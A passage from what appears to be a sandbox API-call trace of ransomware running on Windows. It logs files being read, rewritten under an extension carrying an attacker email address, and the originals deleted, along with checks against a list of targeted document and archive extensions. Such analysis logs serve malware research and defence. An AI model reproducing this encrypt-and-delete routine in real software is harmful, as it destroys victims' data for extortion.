lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x37e, lpOverlapped=0x0) returned 1 [0089.009] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x380, lpOverlapped=0x0) returned 1 [0089.016] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.016] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xea, lpOverlapped=0x0) returned 1 [0089.016] SetEndOfFile (hFile=0x2b4) returned 1 [0089.016] CloseHandle (hObject=0x2b4) returned 1 [0089.018] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.018] SetEndOfFile (hFile=0x340) returned 1 [0089.019] CloseHandle (hObject=0x340) returned 1 [0089.019] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0089.019] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0089.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.019] lstrlenW (lpString=".doc") returned 4 [0089.019] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.019] lstrlenW (lpString=".docx") returned 5 [0089.019] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0089.019] lstrlenW (lpString=".pdf") returned 4 [0089.019] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.019] lstrlenW (lpString=".xls") returned 4 [0089.020] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.020] lstrlenW (lpString=".xlsx") returned 5 [0089.020] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0089.020] lstrlenW (lpString=".ppt") returned 4 [0089.020] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.020] lstrlenW (lpString=".zip") returned 4 [0089.020] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.020] lstrlenW (lpString=".rar") returned 4 [0089.020] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.020] lstrlenW (lpString=".bz2") returned 4 [0089.020] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.020] lstrlenW (lpString=".7z") returned 3 [0089.020] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.020] lstrlenW (lpString=".dbf") returned 4 [0089.020] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.020] lstrlenW (lpString=".1cd") returned 4 [0089.020] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.020] lstrlenW (lpString=".jpg") returned 4 [0089.020] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.020] lstrlenW (lpString=".doc") returned 4 [0089.020] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.020] lstrlenW (lpString=".docx") returned 5 [0089.021] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0089.021] lstrlenW (lpString=".pdf") returned 4 [0089.021] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.021] lstrlenW (lpString=".xls") returned 4 [0089.021] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.021] lstrlenW (lpString=".xlsx") returned 5 [0089.021] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0089.021] lstrlenW (lpString=".ppt") returned 4 [0089.021] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.021] lstrlenW (lpString=".zip") returned 4 [0089.021] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.021] lstrlenW (lpString=".rar") returned 4 [0089.021] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.021] lstrlenW (lpString=".bz2") returned 4 [0089.021] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.021] lstrlenW (lpString=".7z") returned 3 [0089.021] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.021] lstrlenW (lpString=".dbf") returned 4 [0089.021] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.021] lstrlenW (lpString=".1cd") returned 4 [0089.021] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0089.021] lstrlenW (lpString=".jpg") returned 4 [0089.021] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.022] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0089.022] lstrlenW (lpString="Setup.ico") returned 9 [0089.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0089.022] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=36710) returned 1 [0089.022] CloseHandle (hObject=0x340) returned 1 [0089.022] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0089.022] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.023] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0089.023] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.023] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.023] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0089.024] GetLastError () returned 0x0 [0089.024] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x8f66, lpOverlapped=0x0) returned 1 [0089.026] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x8f70, lpOverlapped=0x0) returned 1 [0089.028] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.028] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xe6, lpOverlapped=0x0) returned 1 [0089.029] SetEndOfFile (hFile=0x2b4) returned 1 [0089.029] CloseHandle (hObject=0x2b4) returned 1 [0089.033] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.034] SetEndOfFile (hFile=0x340) returned 1 [0089.035] CloseHandle (hObject=0x340) returned 1 [0089.035] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0089.035] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0089.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.036] lstrlenW (lpString=".doc") returned 4 [0089.036] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.036] lstrlenW (lpString=".docx") returned 5 [0089.036] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0089.036] lstrlenW (lpString=".pdf") returned 4 [0089.036] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.036] lstrlenW (lpString=".xls") returned 4 [0089.036] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.036] lstrlenW (lpString=".xlsx") returned 5 [0089.036] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0089.036] lstrlenW (lpString=".ppt") returned 4 [0089.036] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.036] lstrlenW (lpString=".zip") returned 4 [0089.036] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.036] lstrlenW (lpString=".rar") returned 4 [0089.036] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.036] lstrlenW (lpString=".bz2") returned 4 [0089.036] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.037] lstrlenW (lpString=".7z") returned 3 [0089.037] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.037] lstrlenW (lpString=".dbf") returned 4 [0089.037] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.037] lstrlenW (lpString=".1cd") returned 4 [0089.037] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.037] lstrlenW (lpString=".jpg") returned 4 [0089.037] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.037] lstrlenW (lpString=".doc") returned 4 [0089.037] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.037] lstrlenW (lpString=".docx") returned 5 [0089.037] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0089.037] lstrlenW (lpString=".pdf") returned 4 [0089.037] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.037] lstrlenW (lpString=".xls") returned 4 [0089.037] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.037] lstrlenW (lpString=".xlsx") returned 5 [0089.038] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0089.038] lstrlenW (lpString=".ppt") returned 4 [0089.038] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.038] lstrlenW (lpString=".zip") returned 4 [0089.038] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.038] lstrlenW (lpString=".rar") returned 4 [0089.038] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.038] lstrlenW (lpString=".bz2") returned 4 [0089.038] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.038] lstrlenW (lpString=".7z") returned 3 [0089.038] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.038] lstrlenW (lpString=".dbf") returned 4 [0089.038] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.038] lstrlenW (lpString=".1cd") returned 4 [0089.038] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0089.038] lstrlenW (lpString=".jpg") returned 4 [0089.038] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.039] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0089.039] lstrlenW (lpString="stop.ico") returned 8 [0089.039] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0089.039] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=10134) returned 1 [0089.039] CloseHandle (hObject=0x340) returned 1 [0089.039] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0089.039] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.039] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0089.040] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.040] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.040] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0089.040] GetLastError () returned 0x0 [0089.040] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x2796, lpOverlapped=0x0) returned 1 [0089.316] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0089.317] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.317] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xe4, lpOverlapped=0x0) returned 1 [0089.317] SetEndOfFile (hFile=0x2b4) returned 1 [0089.318] CloseHandle (hObject=0x2b4) returned 1 [0089.319] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.320] SetEndOfFile (hFile=0x340) returned 1 [0089.320] CloseHandle (hObject=0x340) returned 1 [0089.321] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0089.321] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0089.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.321] lstrlenW (lpString=".doc") returned 4 [0089.321] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.321] lstrlenW (lpString=".docx") returned 5 [0089.321] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0089.321] lstrlenW (lpString=".pdf") returned 4 [0089.321] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.321] lstrlenW (lpString=".xls") returned 4 [0089.321] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.321] lstrlenW (lpString=".xlsx") returned 5 [0089.321] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0089.321] lstrlenW (lpString=".ppt") returned 4 [0089.321] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.322] lstrlenW (lpString=".zip") returned 4 [0089.322] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.322] lstrlenW (lpString=".rar") returned 4 [0089.322] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.322] lstrlenW (lpString=".bz2") returned 4 [0089.322] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.322] lstrlenW (lpString=".7z") returned 3 [0089.322] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.322] lstrlenW (lpString=".dbf") returned 4 [0089.322] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.322] lstrlenW (lpString=".1cd") returned 4 [0089.322] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.322] lstrlenW (lpString=".jpg") returned 4 [0089.322] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.322] lstrlenW (lpString=".doc") returned 4 [0089.322] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.322] lstrlenW (lpString=".docx") returned 5 [0089.322] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0089.322] lstrlenW (lpString=".pdf") returned 4 [0089.322] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.322] lstrlenW (lpString=".xls") returned 4 [0089.322] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.322] lstrlenW (lpString=".xlsx") returned 5 [0089.322] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0089.323] lstrlenW (lpString=".ppt") returned 4 [0089.323] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.323] lstrlenW (lpString=".zip") returned 4 [0089.323] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.323] lstrlenW (lpString=".rar") returned 4 [0089.323] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.323] lstrlenW (lpString=".bz2") returned 4 [0089.323] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.323] lstrlenW (lpString=".7z") returned 3 [0089.323] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.323] lstrlenW (lpString=".dbf") returned 4 [0089.323] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.323] lstrlenW (lpString=".1cd") returned 4 [0089.323] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0089.323] lstrlenW (lpString=".jpg") returned 4 [0089.323] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.323] lstrcmpiW (lpString1=".mzz", lpString2=".kr") returned 1 [0089.323] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0089.323] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0089.324] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=43131591) returned 1 [0089.324] CloseHandle (hObject=0x340) returned 1 [0089.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0089.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.324] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0089.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0089.325] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc64 | out: lpNewFilePointer=0x0) returned 1 [0089.325] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc24 | out: lpNewFilePointer=0x0) returned 1 [0089.325] ReadFile (in: hFile=0x340, lpBuffer=0x3f02058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f02058*, lpNumberOfBytesRead=0x391fc30*=0x40000, lpOverlapped=0x0) returned 1 [0089.330] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x391fc24 | out: lpNewFilePointer=0x0) returned 1 [0089.330] ReadFile (in: hFile=0x340, lpBuffer=0x3f42058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f42058*, lpNumberOfBytesRead=0x391fc30*=0x40000, lpOverlapped=0x0) returned 1 [0089.334] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.334] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x391fc24 | out: lpNewFilePointer=0x0) returned 1 [0089.334] ReadFile (in: hFile=0x340, lpBuffer=0x3f82058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f82058*, lpNumberOfBytesRead=0x391fc30*=0x40000, lpOverlapped=0x0) returned 1 [0089.685] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.686] WriteFile (in: hFile=0x340, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x391fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0090.861] SetEndOfFile (hFile=0x340) returned 1 [0090.862] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x4293e80 [0090.868] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc74 | out: lpNewFilePointer=0x0) returned 1 [0090.868] WriteFile (in: hFile=0x340, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x391fc80*=0x40000, lpOverlapped=0x0) returned 1 [0090.869] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x391fc74 | out: lpNewFilePointer=0x0) returned 1 [0090.869] WriteFile (in: hFile=0x340, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x391fc80*=0x40000, lpOverlapped=0x0) returned 1 [0090.870] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x391fc74 | out: 